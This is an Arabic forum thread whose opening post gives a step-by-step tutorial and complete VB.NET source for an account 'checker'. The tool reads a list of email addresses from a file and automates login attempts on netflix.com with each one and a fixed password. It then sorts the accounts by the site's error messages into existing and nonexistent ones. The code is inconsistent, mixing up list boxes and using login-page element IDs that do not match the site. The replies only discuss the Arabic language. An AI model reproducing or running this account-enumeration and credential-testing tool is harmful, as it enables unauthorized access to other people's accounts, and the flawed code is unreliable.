تقييم الموضوع :
  • 0 أصوات - بمعدل 0
  • 1
  • 2
  • 3
  • 4
  • 5
[كود] صنع برنمج فحص
#1
السلام عليكم ورحمت الله وبركتوه

ا=
شرح عن صنع برنمج فحص متحان نت فيلكس
بس اولن صلي علي النبيّّّّّّّّّّّّّّّّّّّّّّ
-----------------------------------------
اولان نحتاج ادوات
وهي كا التالي
(ListBox3)
(Button3)
(Timer2)
(WebBrowser1)
(TextBox1)
--------------------------
اولن نسمي بوتنو1 ب اسم Add List
وهو المسؤل ب اضافاه ال لستات الموجود فيها المتحات
---------------------------------
ثاني زر نسميهStart
-----------------------------------------
و الثالثStop
----------------------------------
ونكتب جو ال WebBrowser1 اسم الموقع المطلوب فحص متحاتو زي كد
https://www.netflix.com/
------------------------------------------
ونضغط علي تايمر 2
هنلاقي جمله اسمهاlnterval
وجمبها رقم 100او1000
احنا نخليه بدل 100او1000نخليه 2000
و تايمر1 نخليها فيه 100
------------------------------------------------------
وقت اضافه ال اكود
اولان نبدا ب كود تايمر1 وهو كا التالي
كود :
   On Error Resume Next
        If Me.WebBrowser1.ReadyState <> WebBrowserReadyState.Complete _
          AndAlso WebBrowser1.Document.GetElementById("idTd_Tile_ErrorMsg_Login").InnerText <> "" Then
            Timer1.Stop()
            TextBox1.Text = (WebBrowser1.Document.GetElementById("idTd_Tile_ErrorMsg_Login").InnerText)
            TextBox1.Text = WebBrowser1.Document.GetElementById("idTD_LockoutError").InnerText
            TextBox1.Text = WebBrowser1.Document.GetElementById("idTd_PWD_ErrorMsg_Username").InnerText
            Select Case WebBrowser1.Document.GetElementById("idTd_Tile_ErrorMsg_Login").InnerText
                Case "أدخل"
                    ListBox2.Items.Add(ListBox1.SelectedItem)
                    TextBox1.Text = Nothing
                Case "لاينتمي الاميل الئ اي حساب"
                    ListBox3.Items.Add(ListBox1.SelectedItem & "@Hotmail")
                    TextBox1.Text = Nothing
                Case "خطا في التسجيل"
                    TextBox1.Text = Nothing
            End Select
            WebBrowser1.Navigate("netflix.com")
            ListBox1.SelectedIndex += 1
        End If 
و الان كود تايمر2
كود :
   Try
            Dim i As Integer
            i = ListBox1.SelectedIndex
            i = i + 1
            If i > ListBox1.Items.Count - 1 Then i = 0
            ListBox1.SelectedIndex = i
        Catch ex As Exception

        End Try 
و الان كود Add List
كود :
Dim Hussaien_Ahmed As New OpenFileDialog
        Hussaien_Ahmed.Filter = "Text files (*.txt)|*.txt|All files (*.*)|*.*"
        Hussaien_Ahmed.Title = "File txt"
        If Hussaien_Ahmed.ShowDialog = Windows.Forms.DialogResult.OK Then
            Dim lines() As String = IO.File.ReadAllLines(Hussaien_Ahmed.FileName)
            ListBox1.Items.AddRange(lines)
        End If 
والان كود Imports او الفضاء وهو
كود :
Imports System.IO
Imports System.Net 
و الان كود Start
كود :
Timer1.Start()
        Timer2.Start() 
و اخر كود وهو كود Stop
كود :
Timer1.Stop()
        Timer2.Stop() 
ودي ال اكود ب الكامل لو عيز تمسح كل ال اكود و تحطها 

كود :
Imports System.IO
Imports System.Net

Public Class Form1
    Private Sub ListBox1_SelectedIndexChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ListBox1.SelectedIndexChanged
        If WebBrowser1.ReadyState = WebBrowserReadyState.Complete Then
            On Error Resume Next
            For Each ALI As HtmlElement In WebBrowser1.Document.GetElementsByTagName("Input")
                If ALI.GetAttribute("type") = "text" Then
                    ALI.InnerText = ListBox2.SelectedItem
                End If
            Next
            For Each A As HtmlElement In WebBrowser1.Document.GetElementsByTagName("Input")
                If A.GetAttribute("type") = "password" Then
                    A.InnerText = "232DSWE2W"
                End If
            Next
            WebBrowser1.Document.GetElementById("login").InvokeMember("Click")
            Timer1.Start()
        End If

    End Sub

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        On Error Resume Next
        If Me.WebBrowser1.ReadyState <> WebBrowserReadyState.Complete _
          AndAlso WebBrowser1.Document.GetElementById("idTd_Tile_ErrorMsg_Login").InnerText <> "" Then
            Timer1.Stop()
            TextBox1.Text = (WebBrowser1.Document.GetElementById("idTd_Tile_ErrorMsg_Login").InnerText)
            TextBox1.Text = WebBrowser1.Document.GetElementById("idTD_LockoutError").InnerText
            TextBox1.Text = WebBrowser1.Document.GetElementById("idTd_PWD_ErrorMsg_Username").InnerText
            Select Case WebBrowser1.Document.GetElementById("idTd_Tile_ErrorMsg_Login").InnerText
                Case "أدخل"
                    ListBox2.Items.Add(ListBox1.SelectedItem)
                    TextBox1.Text = Nothing
                Case "لاينتمي الاميل الئ اي حساب"
                    ListBox3.Items.Add(ListBox1.SelectedItem & "@Hotmail")
                    TextBox1.Text = Nothing
                Case "خطا في التسجيل"
                    TextBox1.Text = Nothing
            End Select
            WebBrowser1.Navigate("netflix.com")
            ListBox1.SelectedIndex += 1
        End If

    End Sub

    Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
        Try
            Dim i As Integer
            i = ListBox1.SelectedIndex
            i = i + 1
            If i > ListBox1.Items.Count - 1 Then i = 0
            ListBox1.SelectedIndex = i
        Catch ex As Exception

        End Try

    End Sub

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Dim Hussaien_Ahmed As New OpenFileDialog
        Hussaien_Ahmed.Filter = "Text files (*.txt)|*.txt|All files (*.*)|*.*"
        Hussaien_Ahmed.Title = "File txt"
        If Hussaien_Ahmed.ShowDialog = Windows.Forms.DialogResult.OK Then
            Dim lines() As String = IO.File.ReadAllLines(Hussaien_Ahmed.FileName)
            ListBox1.Items.AddRange(lines)
        End If

    End Sub

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        Timer1.Start()
        Timer2.Start()

    End Sub

    Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
        Timer1.Stop()
        Timer2.Stop()
    End Sub
End Class 
صلي علي النبي

Heart قل لن يصيبنا الا ماكتب الله لنا Heart
الرد
تم الشكر بواسطة: asemshahen5 , سعود , ابراهيم ايبو
#2
اللغة العربية يا أخي محمد .... فإنها لغة القرآن
Don't Be The Perfect one
be the right one
الرد
تم الشكر بواسطة: سعود , سعود , محمد ايمن , ابراهيم ايبو
#3
(08-05-20, 06:01 PM)boudyonline كتب : اللغة العربية يا أخي محمد .... فإنها لغة القرآن

بسم الله مشاء الله ربنا ميز العرب ب القران و الخلق الحسن
ربي يخليك ويطول فعمرك
Heart قل لن يصيبنا الا ماكتب الله لنا Heart
الرد
تم الشكر بواسطة: ابراهيم ايبو


المواضيع المحتمل أن تكون متشابهة .
الموضوع : الكاتب الردود : المشاهدات : آخر رد
  [كود] ما هو الكود المناسب لصنع برنمج تحويل الصور ل ايقونات محمد ايمن 7 730 08-05-20, 03:12 AM
آخر رد: سعود
  [سؤال] عن برنمج نطق الحروف محمد ايمن 3 450 25-04-20, 07:23 PM
آخر رد: السندبااد
  [نقاش] هل يمكن صنع برنمج تخمين لبسورد ون رر محمد ايمن 1 410 05-04-20, 07:13 AM
آخر رد: سعود
  [سؤال] كيف ابداء التعلم لصنع برنمج بهزه الموصفت محمد ايمن 1 331 31-03-20, 09:30 PM
آخر رد: ابراهيم ايبو

التنقل السريع :


يقوم بقرائة الموضوع: بالاضافة الى ( 1 ) ضيف كريم